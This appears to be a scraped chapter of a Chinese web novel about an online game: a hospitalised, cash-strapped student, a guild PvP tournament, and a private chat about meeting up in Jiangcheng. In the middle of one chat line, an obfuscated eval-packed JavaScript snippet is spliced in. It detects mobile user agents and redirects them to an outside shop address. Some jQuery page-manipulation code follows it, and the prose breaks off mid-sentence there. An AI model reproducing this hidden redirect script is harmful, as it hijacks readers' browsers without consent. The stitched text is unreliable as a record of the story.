阮归请假了。
高烧,外加轻度胃出血。
医生问胃出血是怎么回事,阮归老实回答:“吃了布洛芬,又喝了口可乐。”
医生:“……”
医生一脸你不想活了就直说的表情,狠狠瞪了他一眼。
阮归自知理亏,冲医生歉意一笑。
他本就长得精致又显小,小脸苍白,这么笑一下,对面什么脾气都没有了。
医生有气撒不出,脸涨得通红,没好气道:“要住两天天院,让你家属先去缴费,烧退下去再说。”
阮归脸上笑容一滞,低低应了声好。
他一个人去缴了费,看着账户里的余额发愁。
卖补天石的一万八已经花完了。
阮天的球鞋一万四,这一通检查加上医药费,林林总总算下来花了五千多,别说剩了,自己还倒贴了一千。
他成绩好,大学食宿全免,但生活费还是要自己想办法的。
暑假接代打的钱拿去买天下轶闻的全息眼镜,本来就剩的不多,眼下更是雪上加霜。
学期还没过半,阮归兜里只剩八百块,随时随地可以上演荒野求生。
阮归叹了口气。
等第二轮比赛打完,去接点单子吧。
再不重操旧业,他要活不下去了。
正想着,一帘之隔的地方,隔壁床位传来一对母子的声音。
“妈,我不是小孩了。”
“胡闹,生病怎么能没人陪呢?你睡着吧,这瓶水吊完了我喊护士来。”
“……”
药水被针头送进血管,满嘴都是苦味,四周空空荡荡的。
阮归攥紧拳头,拉过被子盖住头顶,手背上的针眼隐隐作痛,他闭上眼,什么都懒得想了。
算了。
算了……
第二轮大比在九月底的某个周末举行,采取随机抽签的方式匹配对手。
行云楼的竞技场前人山人海,看台坐满了人,本服第一英俊手上举着横幅,传音不要钱似的往大世界扔。
【传音:键盘咔咔响!气势咱最刚!】
【传音:pvp技术哪家强?隔壁左转和气帮!】
【传音:野哥操作猛如虎!对手全都原地杵!】
晓风残月抬头看了眼天幕上飘过的传音,两眼一黑,反手掏出遮挡id的面具带上。
什么晓风残月,什么和气生财,我不知道啊?不熟别来碰瓷谢谢。
他有心要躲,本服第一英俊却不肯放过他。
本服第一英俊是个特别自来熟的人,伸手搂住晓风残月的脖子,洋洋得意:“怎么样,我这口号帅不帅?诶,帮主大人,你怎么不喊啊?”
晓风残月把他的手从自己肩膀上拿下去,干笑道:“我觉得咱们还是低调点好。”
其实是觉得太丢脸了,不想喊。
本服第一英俊立马不干了。
“帮主,你这样夫人看了多伤心啊!”
[帮派][晓风残月]:哈哈,我们老夫老妻了,不拘泥这些形式主义。
开玩笑,这么尬的口号,他敢发李桃桃立马给他剁成臊子。
英俊却没get到他的意思,大手一挥。
[帮派][本服第一英俊]:哎呀帮主,感情是需要维护的,你这样怎么留住夫人?来!我帮你发!
[帮派][晓风残月]:等等等等等!!!
【传音:桃子别怕手速慢!干就完了不要怂!by爱你的小月月~】
晓风残月:“……”
桃李春风一杯酒:“……”
购置的杨柳,回去抽断他的腿,敢发这种话让她丢脸。
与此同时,阮归看着头顶飘过的传音,真诚发问:“几天不见,怎么连哥都叫上了。”
被英俊尬得想立马退赛的云垂野:“……”
“上周你下线之后,我俩去竞技场打了一架,给他打服了。”
阮归:“……”
原来是武力镇压。
另一边,等闲识得东风面还在安慰包子不要紧张。
[队伍][等闲识得东风面]:好了,别怕,有我和云垂野在,名次不会太难看。
[队伍][包子]:呜呜呜女神……
第二轮,和气生财把晓风残月换成了等闲识得东风面。
至于为什么不让本服第一英俊上场。
云垂野看他不顺眼,强制把人踢出了名,并扬言:“一队不容两c!”
本服第一英俊捂脸痛哭,指着桃李春风一杯酒,质问道:“夫人也是c,为什么夫人就可以。”
桃李春风替云垂野回答:“因为从功能上看,我应该算是气氛组。”
本服第一英俊:“……”
英俊哥无言以对,哭着跑开了。
晓风残月诚恳问道:“那我呢?”
云垂野语气郑重:“我有个很重要的事情交给你。”
晓风残月满眼小星星,迫不及待追问:“什么什么?”
云垂野微微一笑:“吉祥物。”
夫妻俩一个在队内当吉祥物,一个在队外当吉祥物。
内外呼应,也算是分工明确了。
晓风残月:“……”
“没事的,帮主大人。”
英俊哥不知道从哪个犄角旮旯窜了回来,搭住晓风残月的肩膀:“还有我陪你呢。”
晓风残月:“……”
谢谢安慰,更难受了。
至于桃李春风一杯酒,她不能换的还有一个原因就是,只有上场参与pvp的玩家才能拿到外观。
帮派里其他人只能拿到低配版。
他们这群人本来就是为了李桃桃的外观在努力。
就算现在帮派规模扩大,也不能忘本啊。
晓风残月还想挣扎:“老婆,你不想带上我穿情侣装吗?”
桃李春风一杯酒:“老公乖,为了老婆的新衣服,你就委屈一会。”
开玩笑,外观只有前三名才有,带上他就不一定能打进前三名了。
毕竟经过这段时间的特训,桃李春风一杯酒已经不是当初那个连技能都扔不准的花瓶了。
但晓风残月没有一点进步。
能拿到第二轮参赛资格的帮派,哪个不是高手如云,和靠天临撑起来的临天门都不是一个级别的。
即便阮归对自己自信,对云垂野自信,也不敢带个连技能都丢不准的吉祥物上台。
狮子搏兔,亦用全力。
【叮——!】
【请各位少侠做好准备,通天大比即将开始!】
【10、9、8……】
踏进竞技场前,云垂野忽然跟他私聊发消息。
[密聊][云垂野]:那个,你是江城人吗?
阮归心跳漏了半拍,打字的手都有些颤抖。
[密聊][归去来兮]:你把我户开了?
[密聊][云垂野]:……
[密聊][云垂野]:肯定不是啊!我在你眼里就是这种人吗?!
[密聊][云垂野]:是包子说,听你口音像江城人,我好奇,就问问。
[密聊][云垂野]:那你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580349|182801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的是江城人咯?
阮归谨慎的保持沉默。
云垂野却把他的沉默当作默认,自顾自接着叭叭。
[密聊][云垂野]:要是咱们这次能拿到前三名,你能不能答应我一件事?
[密聊][归去来兮]:你先说什么事,我再决定要不要答应。
[密聊][云垂野]:我和包子也在江城,晓风残月他们国庆也要回来,你有没有空,要不要一起出来玩?
[密聊][归去来兮]:不要。
[密聊][云垂野]:o.O?
[密聊][云垂野]:为什么TT
[密聊][归去来兮]:我要打工。
——你缺钱?我可以给你啊。
谢云野几乎要脱口而出。
但他憋住了。
这些日子相处下来,归去来兮是个自尊心极强,而且不会轻易接受赠礼的人。
这人脸皮薄,又拧巴,他这么说,归去来兮肯定不会要的,不仅不能拉近距离,相反,也许还会把他越推越远。
从某种程度上来说,归去来兮是个很固执的人。
他有自己的原则,坚持自己的骄傲,做自己想做的事,走自己想走的路,不受其他人的影响。
谢云野其实也很固执。
他并不觉得固执是个贬义词,恰恰相反,他很欣赏固执的人。
固执的人为自己而活,也为自己而死,他们不会因为别人说你应该活着,所以就活着,不会因为别人说你要开心,你要抛弃过去,就真的开开心心的走向未来。
在谢云野看来,不开心就是不开心,觉得加班能让自己找到的意义那就疯狂加班。
人也从来都不是被自己过去束缚住的,很多人说童年的不幸要用一生去治愈,谢云野觉得特别荒谬。
一个烂掉的过去,凭什么要拿一辈子去治愈?他走好眼前的路就可以了,为什么非得回到过去,为什么非得要和受到的伤害和解。
他就不和解,就是叛逆。
让他折骨的雪山,他总有一天会把它踩在脚底,让他呛水的海岸,他总有一天要勇立潮头。
如果他曾经懦弱,那他就要变强,强到征服一切,而不是祈求雪山崩塌,沧海干涸。
和其他早早出国镀金的富二代不同,谢云野从小就不想去上什么贵族学校,他的初中,高中,乃至大学,都是靠自己的实力考进去的。
身边的富二代笑他蠢,有福不享,非要去挤那千军万马的独木桥。
同一屋檐下的同窗不解,说他都这么有钱了,非要来和他们普通人抢名额。
谢云野连一个眼神都没有分给他们。
这些人不懂,当然,他也不稀罕这些人懂。
他自命清高,曲高和寡,兜兜转转终于柳暗花明。
谢云野知道,归去来兮会懂的。
阮归拒绝的意思明显,谢云野也不强求。
他退而求其次:“那你后面陪我打2v2。”
阮归答应得很爽快:“好。”
谢云野乘胜追击:“那你只能跟我一个人打2v2。”
阮归:“?”
“也行。”
反正他也不接陪玩,不耽误他赚钱,云垂野爱咋咋地吧。
【3、2、1——!】
倒计时清零,一轮红月高高挂在天空,空旷的竞技场被染上血色,冰冷肃杀的气息蔓延开来。
两拨人的身形隐没在迷雾中,看不真切。
“倏——!”
风声乍起!
是云垂野动了。